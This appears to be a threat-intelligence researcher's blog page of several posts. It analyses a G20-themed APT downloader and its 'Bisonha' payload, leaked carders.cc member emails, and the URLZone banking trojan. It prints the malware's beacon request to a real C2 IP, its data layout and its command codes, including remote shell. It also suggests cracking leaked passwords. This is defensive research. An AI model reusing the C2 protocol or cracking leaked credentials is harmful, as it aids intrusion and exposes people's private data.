Cedric PERNET - Threat Intel, APT & Cybercrime

Hi all,

I just released this one with my colleagues Fyodor & Vlad.

I hope it will raise some awareness on why you should never use the same password on any service/website.

A video can also be found here ;-)

Hi all,

Here is my latest blog post about a clever BEC attack that targets a lot of different companies in France:

French companies Under Attack from Clever BEC Scam

Le Monde newspaper published a very nice French article about it here.

Also, the article from Le Figaro.

Hey there :-)

I just contributed to a new blog post about some cybercriminals using advanced tools to spread a cryptocurrency miner.

The full blog post is here.

Cheers !

Hi all,

I have written this blog post in collab with my good friends Kenney and Lenart... ;-)

Available HERE.

Hi all :-)

I just released a new white paper about the whole french cybercrime underground, available here. The full paper is available here.

Hi all,

Please be advised I have published a new blog post entitled "French Dark Bets: Betting On Euro 2016"

French people in particular might be interested... ;-)

On a recent blog post, Claudio Guarnieri analyzes an APT attack campaign launched by the "Calc Group".

This group of attackers used the soon-coming "G20 Summit" to spear phish their targets. which are mostly financial institutions and governments. The attack in itself is really not sophisticated, it is just made of an archive file (.ZIP) containing a malicious executable file (.EXE).

The names of the zip files are:

• G20 Briefing Papers.zip
• G20 Summit Paper.zip

These archives contains the following files:

• G20 Discussion Paper.exe
• GPFI Work Plan 2013.exe
• G20 Summit Improving global confidence and support the globa.EXE
• Improving global confidence and support.pdf.exe
• The list of NGOs representatives accredited at the Press Center of The G20 Leaders' Summit 2013.pdf.exe

One might be surprised that people really do open such zip files and click on these executables, but believe me, some people still do. Once again, it shows us that it is not necessary to deploy brilliant strategies to infect people with targeted malware.

Claudio makes a great analyse of these attacks in his blog post, so I won't write about it and let you read it instead. Now what I wanted to know was what happened next. I was especially interested in the second attack, because it had been submitted to Virus Total (VT) from France.

To summarize Claudio's analysis, the attack scheme goes like this :

• The victim gets the zip file, opens it, and executes the malicious executable.
• The executable shows a decoy document (PDF) about the G20 or such.
• The executable starts keylogging and downloads more malware.

This last point is very important to me: what malware is downloaded, and why? (the "why" can be expected though...)

To quote Claudio, "these samples are just an initial stage of a larger suite of malware, possibly including Aumlib and Ixeshe, which it will try to download from a fixed list of URLs embedded in the binary".

Luckily enough, the second stage malware was still available and I could download it for analysis. It turns out that it is not an "AumLib" or an "Ixeshe", but a variant of a less known malware, called "Bisonha" by the malware researcher's community.

To bypass anti-virus and IDS/IPS products, it is downloaded "upside down" (the first byte becomes the last byte, etc.) and written locally as a regular executable once it is downloaded successfully, then executed.

The file shows a "Java" icon, to try to look more "legitimate" to users. At the time of writing, the sample I downloaded had not been submitted to Virus Total, so I did. The detection rate for this sample is 12/46.

This malware has no persistence mechanism (the first stage downloader makes it persistent), and once executed starts communicating with an IP address 23.19.122.196 on port 443:

GET
/300100000000F0FD1F003746374637433731333433363334333600484F4D45000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000070155736572000000000000000000000000000000000000000000000000000000000000000000006444000000000000000000000000000000000000000000 HTTP/1.1
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; .NET CLR 1.1.4322)
Host: 23.19.122.196
Connection: Keep-Alive
Cache-Control: no-cache

As you can see, the network traffic is on port 443 (HTTPS) but it is definitely no HTTPS traffic, rather hex-encoded data:

0000000: 0000 0000 f0fd 1f00 3746 3746 3743 3731  ........7F7F7C71
0000010: 3334 3336 3334 3336 0048 4f4d 4500 0000  34363436.HOME...
0000020: 0000 0000 0000 0000 0000 0000 0000 0000  ................
0000030: 0000 0000 0000 0000 0000 0000 0000 0000  ................
0000040: 0000 0000 0000 0000 0000 0000 0000 0000  ................
0000050: 0000 0000 0000 0000 0007 0155 7365 7200  ...........User.
0000060: 0000 0000 0000 0000 0000 0000 0000 0000  ................
0000070: 0000 0000 0000 0000 0000 0000 0000 0000  ................
0000080: 0064 4400 0000 0000 0000 0000 0000 0000  .dD.............
0000090: 0000 0000 0000 0000                      ........

My reverse engineering rockstar friend Fabien Perigaud had a closer look at the malware and provided me with more information:

Offset: 0x4: RAM size in kilobytes
Offset: 0x8: Hard-drive ID, xored with the machine name then hex-encoded
Offset: 0x19: Machine name
Offset: 0x59: Operating system version (in malware author's writing)
Offset: 0x60: Number of processors
Offset: 0x61: User name
Offset: 0x81: A unique identifier (probably used as a campaign identifier?) - Here it is "dD" but other two characters identifiers have been witnessed in the wild.

The commands which can be sent to the malware are sent in answer:

3004: File writing
3005: File reading
3006: Writing and execution of a file

3115 : provide a shell

3222 : write a new ID in %APPDATA%\recycle.ini 
3223 : auto deletion of the malware
3224 : update

This quick analysis shows us that no matter how deep your knowledge is about an attacker, you're never safe from seeing him change his methods completely. That is why APT attacks attribution is such a hard task.

Thanks to Fabien, Jesse, Brian and Ned for the help while writing this small post ;-)

EDIT: (2013/09/04) Satnam Narang from Symantec just posted interesting material about the same APT campaign. You can read it here. In few words, Poison Ivy RAT is also in the game ;)

Yesterday, Brian Krebs published the story of a carding forum, carders.cc, which has been compromised.

In brief, a carding forum is an Internet-based forum where carders are getting in touch, doing fraudulent business, exchanging stolen credit card/credentials, information, tools … One could think that such dark places would be hidden deeply on Internet, but some are very visible. You could also think that such forums would be highly secured, but sometimes they’re not. Well, carders.cc was as visible as vulnerable, it seems.

Anyway, back to our story. The hackers, naming themselves "happy ninjas" (and we all know ninjas are stronger than pirates...), managed to get access to all the data from carders.cc. Amongst these data were stolen banking credentials and credit card numbers from victims, but also, what interested me most, data about the carders themselves. They published some of these data on a public server. (I caught it just by reading some tweets…)

Numerous articles have already been published about the case, but I didn’t see any about the specific point of interest for me: the 3726 unique e-mail addresses of the members of the forum.

Seeing all these complete e-mail addresses, I asked myself some questions :

• Do the fraudsters have favorite e-mail services?

• Do the fraudsters use more gTLDs or ccTLDs?

• Do the fraudsters use only generic webmail providers, or do they also use specific providers? Maybe even corporate addresses?

I quickly started to parse and analyze the data, and the first results were there.

TOP 20 DOMAINS USED BY THE CYBERCRIMINALS (click the image to zoom)

From the 3726 unique e-mail addresses, there were 349 unique providers.

Carders.Cc is a German forum. Therefore, it is not surprising to see three German domains (web.de, gmx.de, hotmail.de) as being the most used provider. We can assume that if these people use a German e-mail address on an e-mail forum, using sometimes German nicknames, chances are that these cybercriminals don’t use proxies and browse the forum using their real IP address. This supposition has been confirmed by the happy ninjas :

“Sure, some of you maybe always used a proxy... Most of the administrators and moderators didn't. Did you?”

The first anonymous e-mail address provider is mail.3dl.am, ranked 12. This website garantees that your IP addresses are never logged when using their services. Sounds like a bulletproof webmail system.

Immediately following 3dl.am is owlpic.com, a temporary e-mail system. This allows people to register on the forum using a one-time e-mail address.

The 300 domains after the TOP 50 have been used less than 5 times, and 230 domains have been used in a single way. Some corporate companies are used. They are probably compromised accounts. This is interesting, but you will have to find them by yourself : for confidentiality purposes, I am not copying them in this document.

Now about the TLDs used:

TOP 8 TLDs used by the fraudsters (click the image to zoom)

We see .de is almost twice as much used as its follower, .com. Then it decreases quite fast.

Amongst the TLDs there are some ccTLDs which are quite surprising to witness here : .AM (Armenia) , .AI (Anguilla), and .MU (Mauritius)

.AM appears 67 times. The reason is the use of a mail.3dl.am free anonymous e-mail service in german language.

.AI appears 27 times, being used for hush.ai service.

.MU has been used 18 times for the domain kuh.mu, currently down.

I stop my little analysis right here, since I have already spent too much time on it yesterday night ;-)

Let me finish with some axes of researches:

• IP addresses. There are thousands of IP addresses linked to the fraudsters. It would be very interesting to have some statistics on these.

• Passwords. Cracking the passwords could provide us with funny statistics about most common passwords used, their length, their geekness, and so on… ;-)

Have fun ! :-)

Récemment une étude de Finjan a généré un buzz médiatique assez important autour d'un malware connu sous les alias d' URLZone ou encore de Bebloh.

Ce malware est un cheval de Troie bancaire, un code malveillant conçu et développé pour voler vos identifiants bancaires. Mais plus que ça, ce malware dispose de la capacité de générer des transactions bancaires "à la volée". Lorsqu'une victime se connecte sur son compte bancaire et génère un virement bancaire légitime, la requête est interceptée de façon transparente par le malware. Ce dernier modifie les informations de transaction, et envoie de l'argent vers une mule. (Une mule est un intermédiaire recruté par les fraudeurs, qui reçoit l'argent détourné et le renvoie vers les fraudeurs, souvent par Western Union, vers un pays exotique ... La mule conserve un faible pourcentage de la transaction, de l'ordre de 3 à 8% généralement)

Plusieurs familles de malware ont ce comportement, qui n'est pas nouveau. Une amélioration plus récente embarquée dans URLZone est de "truquer" la confirmation de virement et le relevé en ligne.

Encore plus étonnant, le malware, avant d'effectuer son détournement de fonds, vérifie...l'état du compte bancaire ! Le virement effectué par le malware tiendra compte de plusieurs paramètres dont le solde du compte, afin de minimiser les chances d'être découvert : le compte restera positif et les montants prélevés sont plutôt minimes. Brillant.

Enfin, dans le cas où la fraude est détectée par la victime ou par sa banque, suit logiquement le dépôt de plainte de la victime. Mais là encore, les fraudeurs déploient un dernier atout dans leur code pour augmenter les chances de passer inaperçu et perturber les enquêtes judiciaires... En effet, l'une des pistes utilisée par les enquêteurs est de suivre le parcours de l'argent : les sommes virées par le malware vont vers des mules identifiables. Les forces de l'ordre peuvent suivre ce parcours en demandant aux banques de leur transmettre les coordonnées des comptes bancaires des mules. Seulement, sur une enquête impactant des centaines de victimes, les services judiciaires font de la récolte de mules en accumulant les plaintes, et peuvent passer à côté de mules qui ont reçu de l'argent de victimes qui ne se sont jamais rendues compte de l'escroquerie...

Une méthode alternative serait donc d'infecter des machines dans des environnements de tests, afin de voir les transactions s'effectuer vers les mules (en les empêchant de passer bien entendu).

C'est là qu'intervient à nouveau l'ingéniosité des auteurs de ce malware : lorsqu'il détecte un environnement de test, au lieu de ne plus rien faire comme la plupart des autres malware, il reste actif et génère des virements... vers des victimes innocentes ! Ainsi, les chercheurs souhaitant collecter de l'information sur les mules se retrouvent dans un cul de sac... Et les forces de l'ordre vont perdre un temps précieux à enquêter sur des personnes qui n'ont rien à voir avec le schéma frauduleux d'URLZone.

Le ou les auteurs de ce malware nous démontrent, s'il était encore besoin de le dire, que les chevaux de Troie embarquent de plus en plus de techniques qui leur assurent non seulement des taux d'infection et une furtivité accrue, mais également des techniques qui augmentent leurs chances de ne jamais se faire arrêter.